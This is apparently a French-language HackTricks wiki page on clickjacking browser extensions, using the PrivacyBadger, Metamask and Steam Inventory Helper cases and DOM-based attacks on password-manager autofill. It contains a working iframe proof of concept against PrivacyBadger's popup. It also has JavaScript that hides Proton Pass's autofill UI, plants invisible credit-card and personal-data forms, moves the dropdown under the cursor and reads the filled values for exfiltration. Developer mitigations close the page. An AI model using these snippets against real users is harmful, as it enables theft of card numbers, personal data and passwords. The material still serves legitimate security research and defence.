BrowExt - ClickJacking

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu’est le ClickJacking, consultez :

Clickjacking

Extensions contains the file manifest.json and that JSON file has a field web_accessible_resources. Here’s what the Chrome docs say about it:

Ces ressources seraient alors accessibles dans une page web via l’URL chrome-extension://[PACKAGE ID]/[PATH], which can be generated with the extension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they’re available via mechanisms like XHR.1

Les web_accessible_resources d’une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent aussi avec les privilĂšges inhĂ©rents de l’extension. Cela signifie qu’elles ont la capacitĂ© de :

  • Modifier l’état de l’extension
  • Charger des ressources supplĂ©mentaires
  • Interagir avec le navigateur dans une certaine mesure

Cependant, cette fonctionnalitĂ© prĂ©sente un risque de sĂ©curitĂ©. Si une ressource dĂ©clarĂ©e dans web_accessible_resources possĂšde une fonctionnalitĂ© importante, un attaquant pourrait potentiellement intĂ©grer cette ressource dans une page web externe. Des utilisateurs non mĂ©fiants visitant cette page pourraient involontairement activer cette ressource intĂ©grĂ©e. Une telle activation pourrait entraĂźner des consĂ©quences imprĂ©vues, selon les permissions et les capacitĂ©s des ressources de l’extension.

PrivacyBadger Example

Dans l’extension PrivacyBadger, une vulnĂ©rabilitĂ© a Ă©tĂ© identifiĂ©e liĂ©e au rĂ©pertoire skin/ dĂ©clarĂ© comme web_accessible_resources de la maniĂšre suivante (Consultez le [blog post] original):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Cette configuration a conduit Ă  un problĂšme de sĂ©curitĂ© potentiel. Plus prĂ©cisĂ©ment, le fichier skin/popup.html, qui est rendu lors de l’interaction avec l’icĂŽne PrivacyBadger dans le navigateur, pouvait ĂȘtre intĂ©grĂ© dans un iframe. Cette intĂ©gration pouvait ĂȘtre exploitĂ©e pour tromper les utilisateurs et les amener involontairement Ă  cliquer sur “Disable PrivacyBadger for this Website”. Une telle action compromettrait la vie privĂ©e de l’utilisateur en dĂ©sactivant la protection PrivacyBadger et en l’exposant potentiellement Ă  un suivi accru. Une dĂ©monstration visuelle de cet exploit peut ĂȘtre consultĂ©e dans une vidĂ©o ClickJacking fournie Ă  https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Pour remĂ©dier Ă  cette vulnĂ©rabilitĂ©, une solution simple a Ă©tĂ© mise en Ɠuvre : la suppression de /skin/* de la liste des web_accessible_resources. Ce changement a efficacement attĂ©nuĂ© le risque en garantissant que le contenu du rĂ©pertoire skin/ ne puisse pas ĂȘtre accĂ©dĂ© ou manipulĂ© via des web-accessible resources.

La correction a été simple : remove /skin/* from the web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Exemple

Un article de blog sur un ClickJacking dans metamask est disponible ici. Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était https: ou http: (pas chrome: par exemple) :

Another ClickJacking fixed dans l’extension Metamask concernait le fait que les utilisateurs pouvaient Click to whitelist lorsqu’une page Ă©tait suspectĂ©e de phishing Ă  cause de “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Comme cette page Ă©tait vulnĂ©rable au Clickjacking, un attaquant pouvait en abuser en affichant quelque chose de normal pour pousser la victime Ă  cliquer pour la whitelist sans s’en rendre compte, puis revenir Ă  la page de phishing qui sera whitelistĂ©e.

Steam Inventory Helper Exemple

Consultez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaßné avec une vulnérabilité de ClickJacking :

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Les Clickjacking classiques d’extension exploitent des web_accessible_resources mal configurĂ©s pour iframe du HTML privilĂ©giĂ© et provoquer des clics utilisateurs. Une classe plus rĂ©cente, DOM-based extension clickjacking, cible directement les dropdowns d’autofill injectĂ©s par les password managers dans le DOM de la page et utilise des astuces CSS/DOM pour les cacher ou les occulter tout en les laissant cliquables. Un seul clic contraint peut sĂ©lectionner un Ă©lĂ©ment enregistrĂ© et remplir des champs contrĂŽlĂ©s par l’attaquant avec des donnĂ©es sensibles.

ModĂšle de menace

  • L’attaquant contrĂŽle une page web (ou obtient un XSS/takeover de sous-domaine/cache poisoning sur un domaine liĂ©).
  • La victime a une extension password manager installĂ©e et dĂ©verrouillĂ©e (certaines effectuent l’autofill mĂȘme lorsqu’elles semblent verrouillĂ©es).
  • Au moins un clic utilisateur est induit (banniĂšres de cookies overlay, dialogues, CAPTCHAs, jeux, etc.).

Flux d’attaque (autofill manuel)

  1. Injecter un formulaire invisible mais focusable (champs login/PII/carte de crédit).
  2. Focaliser un input pour provoquer l’apparition du dropdown d’autofill de l’extension prùs du champ.
  3. Cacher ou occulter l’UI de l’extension tout en la laissant interactive.
  4. Aligner un contrÎle crédible sous le dropdown masqué pour contraindre un clic qui sélectionne un élément.
  5. Lire les valeurs remplies dans le formulaire de l’attaquant et les exfiltrer.

Comment masquer l’autofill UI

  • ÉlĂ©ment d’extension
  • OpacitĂ© de l’élĂ©ment racine (gĂ©nĂ©rique) :
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Enfant Ă  l’intĂ©rieur d’un ShadowRoot ouvert (balise dynamique, masquer l’iframe interne):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • ÉlĂ©ment parent
  • BODY/HTML astuces d’opacitĂ© pour rendre l’UI de l’extension invisible tandis que la page semble normale (par ex., arriĂšre-plan pour les captures d’écran):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Recouvrement
  • Recouvrement partiel : occulter tout sauf quelques pixels pour que le menu dĂ©roulant reste cliquable (assurez-vous que le recouvrement de l’attaquant soit le dernier dans le DOM avec max z-index, ou utilisez Top Layer).
  • Recouvrement complet en utilisant pointer-events:none pour que les clics passent au menu dĂ©roulant cachĂ© ; maintenez-le persistant avec la Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Positionnement du clic de la victime

  • Placement fixe: positionnez le menu dĂ©roulant cachĂ© sous un contrĂŽle crĂ©dible tel que “Accept cookies”, “Close”, ou une case CAPTCHA.
  • Follow-mouse: dĂ©placez le champ focalisĂ© sous le curseur pour que le menu dĂ©roulant le suive ; refocalisez pĂ©riodiquement pour qu’un seul clic n’importe oĂč sĂ©lectionne un Ă©lĂ©ment :
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Impact et scénarios

  • Site contrĂŽlĂ© par l’attaquant : un seul clic contraint peut exfiltrer des donnĂ©es de carte de crĂ©dit (numĂ©ro/date d’expiration/CVC) et des informations personnelles (nom, e‑mail, tĂ©lĂ©phone, adresse, date de naissance (DOB)) qui ne sont pas limitĂ©es au domaine.
  • Site de confiance avec XSS/subdomain takeover/cache poisoning : vol multi-clic des identifiants (username/password) et TOTP, car de nombreux managers effectuent de l’autofill sur des sous-domaines/domaines parents associĂ©s (p.ex., *.example.com).
  • Passkeys : si le RP n’associe pas les challenges WebAuthn Ă  la session, XSS peut intercepter l’assertion signĂ©e ; le DOM-based clickjacking masque l’invite de passkey pour obtenir le clic de confirmation de l’utilisateur.

Limitations

  • NĂ©cessite au moins un clic utilisateur et un bon alignement des pixels (des overlays rĂ©alistes facilitent la sollicitation du clic).
  • Le verrouillage automatique/la dĂ©connexion rĂ©duit les fenĂȘtres d’exploitation ; certains managers remplissent encore automatiquement mĂȘme lorsqu’ils sont « verrouillĂ©s ».

Extension developer mitigations

  • Render autofill UI in the Top Layer (Popover API) or otherwise ensure it sits above page stacking; avoid being covered by page-controlled overlays.
  • Resist CSS tampering: prefer Closed Shadow DOM and monitor with MutationObserver for suspicious style changes on UI roots.
  • Detect hostile overlays before filling: enumerate other top-layer/popover elements, temporarily disable pointer-events:none, and use elementsFromPoint() to detect occlusion; close UI if overlays exist.
  • Detect suspicious <body>/<html> opacity or style changes both pre- and post-render.
  • For iframe-based issues: scope MV3 web_accessible_resources matches narrowly and avoid exposing HTML UIs; for unavoidable HTML, serve X-Frame-Options: DENY or Content-Security-Policy: frame-ancestors 'none'.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks